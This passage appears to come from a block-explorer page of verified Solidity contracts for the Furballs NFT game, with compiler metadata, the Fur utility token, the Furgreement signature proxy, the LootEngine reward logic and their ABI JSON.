standing uint32 num = acc.numFurballs; if (num > 0) { standing = num * 10 + acc.maxLevel + acc.reputation; } } _account[addr].standing = uint16(standing); } }

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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/Fur.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./Furballs.sol"; import "./editions/IFurballEdition.sol"; import "./utils/FurProxy.sol"; /// @title Fur /// @author LFG Gaming LLC /// @notice Utility token for in-game rewards in Furballs contract Fur is ERC20, FurProxy { // n.b., this contract has some unusual tight-coupling between FUR and Furballs // Simple reason: this contract had more space, and is the only other allowed to know about ownership // Thus it serves as a sort of shop meta-store for Furballs // tokenId => mapping of fed _snacks mapping(uint256 => FurLib.Snack[]) public _snacks; // Internal cache for speed. uint256 private _intervalDuration; constructor(address furballsAddress) FurProxy(furballsAddress) ERC20("Fur", "FUR") { _intervalDuration = furballs.intervalDuration(); } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice Returns the snacks currently applied to a Furball function snacks(uint256 tokenId) external view returns(FurLib.Snack[] memory) { return _snacks[tokenId]; } /// @notice Write-function to cleanup the snacks for a token (remove expired) function cleanSnacks(uint256 tokenId) public returns (uint256) { if (_snacks[tokenId].length == 0) return 0; return _cleanSnack(tokenId, 0); } /// @notice The public accessor calculates the snack boosts function snackEffects(uint256 tokenId) external view returns(uint256) { uint16 hap = 0; uint16 en = 0; for (uint32 i=0; i<_snacks[tokenId].length && i <= FurLib.Max32; i++) { uint256 remaining = _snackTimeRemaning(_snacks[tokenId][i]); if (remaining > 0) { hap += _snacks[tokenId][i].happiness; en += _snacks[tokenId][i].energy; } } return (hap * 0x10000) + (en); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice FUR can only be minted by furballs doing battle. function earn(address addr, uint256 amount) external gameAdmin { if (amount == 0) return; _mint(addr, amount); } /// @notice FUR can be spent by Furballs, or by the LootEngine (shopping, in the future) function spend(address addr, uint256 amount) external gameAdmin { _burn(addr, amount); } /// @notice Pay any necessary fees to mint a furball /// @dev Delegated logic from Furballs; function purchaseMint( address from, uint8 permissions, address to, IFurballEdition edition ) external gameAdmin returns (bool) { require(edition.maxMintable(to) > 0, "LIVE"); uint32 cnt = edition.count(); uint32 adoptable = edition.maxAdoptable(); bool requiresPurchase = cnt >= adoptable; if (requiresPurchase) { // _gift will throw if cannot gift or cannot afford cost _gift(from, permissions, to, edition.purchaseFur()); } return requiresPurchase; } /// @notice Attempts to purchase an upgrade for a loot item /// @dev Delegated logic from Furballs function purchaseUpgrade( FurLib.RewardModifiers memory modifiers, address from, uint8 permissions, uint256 tokenId, uint128 lootId, uint8 chances ) external gameAdmin returns(uint128) { address owner = furballs.ownerOf(tokenId); // _gift will throw if cannot gift or cannot afford cost _gift(from, permissions, owner, 500 * uint256(chances)); return furballs.engine().upgradeLoot(modifiers, owner, lootId, chances); } /// @notice Attempts to purchase a snack using templates found in the engine /// @dev Delegated logic from Furballs function purchaseSnack( address from, uint8 permissions, uint256 tokenId, uint32 snackId, uint16 count ) external gameAdmin { FurLib.Snack memory snack = furballs.engine().getSnack(snackId); require(snack.count > 0, "COUNT"); require(snack.fed == 0, "FED"); // _gift will throw if cannot gift or cannot afford costQ _gift(from, permissions, furballs.ownerOf(tokenId), snack.furCost * count); uint256 snackData = _cleanSnack(tokenId, snack.snackId); uint32 existingSnackNumber = uint32(snackData / 0x100000000); snack.count *= count; if (existingSnackNumber > 0) { // Adding count effectively adds duration to the active snack _snacks[tokenId][existingSnackNumber - 1].count += snack.count; } else { // A new snack just gets pushed onto the array snack.fed = uint64(block.timestamp); _snacks[tokenId].push(snack); } } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice Both removes inactive _snacks from a token and searches for a specific snack Id index /// @dev Both at once saves some size & ensures that the _snacks are frequently cleaned. /// @return The index+1 of the existing snack function _cleanSnack(uint256 tokenId, uint32 snackId) internal returns(uint256) { uint32 ret = 0; uint16 hap = 0; uint16 en = 0; for (uint32 i=1; i<=_snacks[tokenId].length && i <= FurLib.Max32; i++) { FurLib.Snack memory snack = _snacks[tokenId][i-1]; // Has the snack transitioned from active to inactive? if (_snackTimeRemaning(snack) == 0) { if (_snacks[tokenId].length > 1) { _snacks[tokenId][i-1] = _snacks[tokenId][_snacks[tokenId].length - 1]; } _snacks[tokenId].pop(); i--; // Repeat this idx continue; } hap += snack.happiness; en += snack.energy; if (snackId != 0 && snack.snackId == snackId) { ret = i; } } return (ret * 0x100000000) + (hap * 0x10000) + (en); } /// @notice Check if the snack is active; returns 0 if inactive, otherwise the duration function _snackTimeRemaning(FurLib.Snack memory snack) internal view returns(uint256) { if (snack.fed == 0) return 0; uint256 expiresAt = uint256(snack.fed + (snack.count * snack.duration * _intervalDuration)); return expiresAt <= block.timestamp ? 0 : (expiresAt - block.timestamp); } /// @notice Enforces (requires) only admins/game may give gifts /// @param to Whom is this being sent to? /// @return If this is a gift or not. function _gift(address from, uint8 permissions, address to, uint256 furCost) internal returns(bool) { bool isGift = to != from; // Only admins or game engine can send gifts (to != self), which are always free. require(!isGift || permissions >= FurLib.PERMISSION_ADMIN, "GIFT"); if (!isGift && furCost > 0) { _burn(from, furCost); } return isGift; } }

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FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/Furgreement.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./Furballs.sol"; import "./utils/FurProxy.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; /// @title Furballs /// @author LFG Gaming LLC /// @notice Has permissions to act as a proxy to the Furballs contract /// @dev https://soliditydeveloper.com/ecrecover contract Furgreement is EIP712, FurProxy { mapping(address => uint256) private nonces; address[] public addressQueue; mapping(address => PlayMove) public pendingMoves; // A "move to be made" in the sig queue struct PlayMove { uint32 zone; uint256[] tokenIds; } constructor(address furballsAddress) EIP712("Furgreement", "1") FurProxy(furballsAddress) { } /// @notice Proxy playMany to Furballs contract function playFromSignature( bytes memory signature, address owner, PlayMove memory move, uint256 deadline ) external { bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( keccak256("playMany(address owner,PlayMove memory move,uint256 nonce,uint256 deadline)"), owner, move, nonces[owner], deadline ))); address signer = ECDSA.recover(digest, signature); require(signer == owner, "playMany: invalid signature"); require(signer != address(0), "ECDSA: invalid signature"); require(block.timestamp < deadline, "playMany: signed transaction expired"); nonces[owner]++; if (pendingMoves[owner].tokenIds.length == 0) { addressQueue.push(owner); } pendingMoves[owner] = move; } }

[{"inputs":[{"internalType":"uint256","name":"interval","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"responseId","type":"uint256"}],"name":"Collection","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"uint128","name":"lootId","type":"uint128"},{"indexed":false,"internalType":"uint16","name":"dropped","type":"uint16"}],"name":"Inventory","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint8","name":"idx","type":"uint8"}],"name":"addEdition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"admins","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"collect","outputs":[{"internalType":"uint16","name":"levels","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"fur","type":"uint32"},{"internalType":"uint128","name":"loot","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"count","type":"uint8"}],"name":"drop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"editions","outputs":[{"internalType":"contract IFurballEdition","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"engine","outputs":[{"internalType":"contract ILootEngine","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"components":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"}],"internalType":"struct FurLib.Feeding[]","name":"feedings","type":"tuple[]"},{"internalType":"address","name":"actor","type":"address"}],"name":"feed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fur","outputs":[{"internalType":"contract Fur","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"furballs","outputs":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"furgreement","outputs":[{"internalType":"contract Furgreement","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"governance","outputs":[{"internalType":"contract Governance","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"intervalDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isModerator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint8","name":"editionIndex","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"moderators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"}],"name":"pickup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"address","name":"actor","type":"address"}],"name":"playMany","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"set","type":"bool"}],"name":"setAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setEngine","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"furAddress","type":"address"}],"name":"setFur","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"furgAddress","type":"address"}],"name":"setFurgreement","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setGovernance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"mod","type":"address"},{"internalType":"bool","name":"set","type":"bool"}],"name":"setModerator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bool","name":"contextual","type":"bool"}],"name":"stats","outputs":[{"components":[{"internalType":"uint16","name":"expRate","type":"uint16"},{"internalType":"uint16","name":"furRate","type":"uint16"},{"components":[{"internalType":"uint16","name":"expPercent","type":"uint16"},{"internalType":"uint16","name":"furPercent","type":"uint16"},{"internalType":"uint16","name":"luckPercent","type":"uint16"},{"internalType":"uint16","name":"happinessPoints","type":"uint16"},{"internalType":"uint16","name":"energyPoints","type":"uint16"},{"internalType":"uint32","name":"zone","type":"uint32"}],"internalType":"struct FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/engines/LootEngine.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./ILootEngine.sol"; import "../editions/IFurballEdition.sol"; import "../Furballs.sol"; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; import "../utils/ProxyRegistry.sol"; import "../utils/Dice.sol"; import "../utils/Governance.sol"; import "../utils/MetaData.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /// @title LootEngine /// @author LFG Gaming LLC /// @notice Base implementation of the loot engine abstract contract LootEngine is ERC165, ILootEngine, Dice, FurProxy { ProxyRegistry private _proxies; // An address which may act on behalf of the owner (company) address public companyWalletProxy; // snackId to "definition" of the snack mapping(uint32 => FurLib.Snack) private _snacks; uint32 maxExperience = 2010000; constructor( address furballsAddress, address tradeProxy, address companyProxy ) FurProxy(furballsAddress) { _proxies = ProxyRegistry(tradeProxy); companyWalletProxy = companyProxy; _defineSnack(0x100, 24 , 250, 15, 0); _defineSnack(0x200, 24 * 3, 750, 20, 0); _defineSnack(0x300, 24 * 7, 1500, 25, 0); } /// @notice Allows admins to configure the snack store. function setSnack( uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en ) external gameAdmin { _defineSnack(snackId, duration, furCost, hap, en); } /// @notice Loot can have different weight to help prevent over-powering a furball /// @dev Each point of weight can be offset by a point of energy; the result reduces luck function weightOf(uint128 lootId) external virtual override pure returns (uint16) { return 2; } /// @notice Gets called for Metadata function furballDescription(uint256 tokenId) external virtual override view returns (string memory) { return ""; } /// @notice Gets called at the beginning of token render; could add underlaid artwork function render(uint256 tokenId) external virtual override view returns(string memory) { return ""; } /// @notice Checking the zone may use _require to detect preconditions. function enterZone( uint256 tokenId, uint32 zone, uint256[] memory team ) external virtual override returns(uint256) { // Nothing to see here. return uint256(zone); } /// @notice Proxy logic is presently delegated to OpenSea-like contract function canProxyTrades( address owner, address operator ) external virtual override view onlyFurballs returns(bool) { if (address(_proxies) == address(0)) return false; return address(_proxies.proxies(owner)) == operator; } /// @notice Allow a player to play? Throws on error if not. /// @dev This is core gameplay security logic function approveSender(address sender) external virtual override view onlyFurballs returns(uint) { if (sender == companyWalletProxy && sender != address(0)) return FurLib.PERMISSION_OWNER; return _permissions(sender); } /// @notice Calculates new level for experience function onExperience( FurLib.Furball memory furball, address owner, uint32 experience ) external virtual override onlyFurballs returns(uint32 totalExp, uint16 levels) { if (experience == 0) return (0, 0); uint32 has = furball.experience; uint32 max = maxExperience; totalExp = (experience < max && has < (max - experience)) ? (has + experience) : max; // Calculate new level & check for level-up uint16 oldLevel = furball.level; uint16 level = uint16(FurLib.expToLevel(totalExp, max)); levels = level > oldLevel ? (level - oldLevel) : 0; if (levels > 0) { // Update community standing furballs.governance().updateMaxLevel(owner, level); } return (totalExp, levels); } /// @notice The trade hook can update balances or assign rewards function onTrade( FurLib.Furball memory furball, address from, address to ) external virtual override onlyFurballs { Governance gov = furballs.governance(); if (from != address(0)) gov.updateAccount(from, furballs.balanceOf(from) - 1); if (to != address(0)) gov.updateAccount(to, furballs.balanceOf(to) + 1); } /// @notice Attempt to upgrade a given piece of loot (item ID) function upgradeLoot( FurLib.RewardModifiers memory modifiers, address owner, uint128 lootId, uint8 chances ) external virtual override returns(uint128) { (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); require(rarity > 0 && rarity < 3, "RARITY"); uint32 chance = (rarity == 1 ? 75 : 25) * uint32(chances) + uint32(modifiers.luckPercent * 10); // Remove the 100% from loot, with 5% minimum chance chance = chance > 1050 ? (chance - 1000) : 50; // Even with many chances, odds are capped: if (chance > 750) chance = 750; uint32 threshold = (FurLib.Max32 / 1000) * (1000 - chance); uint256 rolled = (uint256(roll(modifiers.expPercent))); return rolled < threshold ? 0 : _packLoot(rarity + 1, stat); } /// @notice Main loot-drop functionm function dropLoot( uint32 intervals, FurLib.RewardModifiers memory modifiers ) external virtual override onlyFurballs returns(uint128) { // Only battles drop loot. if (modifiers.zone >= 0x10000) return 0; (uint8 rarity, uint8 stat) = rollRarityStat( uint32((intervals * uint256(modifiers.luckPercent)) /100), 0); return _packLoot(rarity, stat); } function _packLoot(uint16 rarity, uint16 stat) internal pure returns(uint128) { return rarity == 0 ? 0 : (uint16(rarity) * 0x10000) + (stat * 0x100); } /// @notice Core loot drop rarity randomization /// @dev exposes an interface helpful for the unit tests, but is not otherwise called publicly function rollRarityStat(uint32 chance, uint32 seed) public returns(uint8, uint8) { if (chance == 0) return (0, 0); uint32 threshold = 4320; uint32 rolled = roll(seed) % threshold; uint8 stat = uint8(rolled % 2); if (chance > threshold || rolled >= (threshold - chance)) return (3, stat); threshold -= chance; if (chance * 3 > threshold || rolled >= (threshold - chance * 3)) return (2, stat); threshold -= chance * 3; if (chance * 6 > threshold || rolled >= (threshold - chance * 6)) return (1, stat); return (0, stat); } /// @notice The snack shop has IDs for each snack definition function getSnack(uint32 snackId) external view virtual override returns(FurLib.Snack memory) { return _snacks[snackId]; } /// @notice Layers on LootEngine modifiers to rewards function modifyReward( FurLib.Furball memory furball, FurLib.RewardModifiers memory modifiers, FurLib.Account memory account, bool contextual ) external virtual override view returns(FurLib.RewardModifiers memory) { // Use temporary variables instead of re-assignment uint16 energy = modifiers.energyPoints; uint16 weight = furball.weight; uint16 expPercent = modifiers.expPercent + modifiers.happinessPoints; uint16 luckPercent = modifiers.luckPercent + modifiers.happinessPoints; uint16 furPercent = modifiers.furPercent + _furBoost(furball.level) + energy; // First add in the inventory for (uint256 i=0; i<furball.inventory.length; i++) { uint128 lootId = uint128(furball.inventory[i] / 0x100); uint32 stackSize = uint32(furball.inventory[i] % 0x100); (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); uint16 boost = uint16(_lootRarityBoost(rarity) * stackSize); if (stat == 0) { expPercent += boost; } else { furPercent += boost; } } // Team size boosts! uint256 teamSize = account.permissions < 2 ? account.numFurballs : 0; if (teamSize < 10 && teamSize > 1) { uint16 amt = uint16(2 * (teamSize - 1)); expPercent += amt; furPercent += amt; } // --------------------------------------------------------------------------------------------- // Negative impacts come last, so subtraction does not underflow. // --------------------------------------------------------------------------------------------- // Penalties for whales. if (teamSize > 10) { uint16 amt = uint16(5 * (teamSize > 20 ? 10 : (teamSize - 10))); expPercent -= amt; furPercent -= amt; } // Calculate weight & reduce luck if (weight > 0) { if (energy > 0) { weight = (energy >= weight) ? 0 : (weight - energy); } if (weight > 0) { luckPercent = weight >= luckPercent ? 0 : (luckPercent - weight); } } modifiers.expPercent = expPercent; modifiers.furPercent = furPercent; modifiers.luckPercent = luckPercent; return modifiers; } /// @notice OpenSea metadata function attributesMetadata( uint256 tokenId ) external virtual override view returns(bytes memory) { FurLib.FurballStats memory stats = furballs.stats(tokenId, false); return abi.encodePacked( MetaData.traitValue("Level", stats.definition.level), MetaData.traitValue("Rare Genes Boost", stats.definition.rarity), MetaData.traitNumber("Edition", (tokenId % 0x100) + 1), MetaData.traitNumber("Unique Loot Collected", stats.definition.inventory.length), MetaData.traitBoost("EXP Boost", stats.modifiers.expPercent), MetaData.traitBoost("FUR Boost", stats.modifiers.furPercent), MetaData.traitDate("Acquired", stats.definition.trade), MetaData.traitDate("Birthday", stats.definition.birth) ); } /// @notice Store a new snack definition function _defineSnack( uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en ) internal { _snacks[snackId].snackId = snackId; _snacks[snackId].duration = duration; _snacks[snackId].furCost = furCost; _snacks[snackId].happiness = hap; _snacks[snackId].energy = en; _snacks[snackId].count = 1; _snacks[snackId].fed = 0; } function _lootRarityBoost(uint16 rarity) internal pure returns (uint16) { if (rarity == 1) return 5; else if (rarity == 2) return 15; else if (rarity == 3) return 30; return 0; } /// @notice Gets the FUR boost for a given level function _furBoost(uint16 level) internal pure returns (uint16) { if (level >= 200) return 581; if (level < 25) return (2 * level); if (level < 50) return (5000 + (level - 25) * 225) / 100; if (level < 75) return (10625 + (level - 50) * 250) / 100; if (level < 100) return (16875 + (level - 75) * 275) / 100; if (level < 125) return (23750 + (level - 100) * 300) / 100; if (level < 150) return (31250 + (level - 125) * 325) / 100; if (level < 175) return (39375 + (level - 150) * 350) / 100; return (48125 + (level - 175) * 375) / 100; } /// @notice Unpacks an item, giving its rarity + stat function _itemRarityStat(uint128 lootId) internal pure returns (uint8, uint8) { return ( uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_RARITY, 1)), uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_STAT, 1))); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ILootEngine).interfaceId || super.supportsInterface(interfaceId); } }

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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

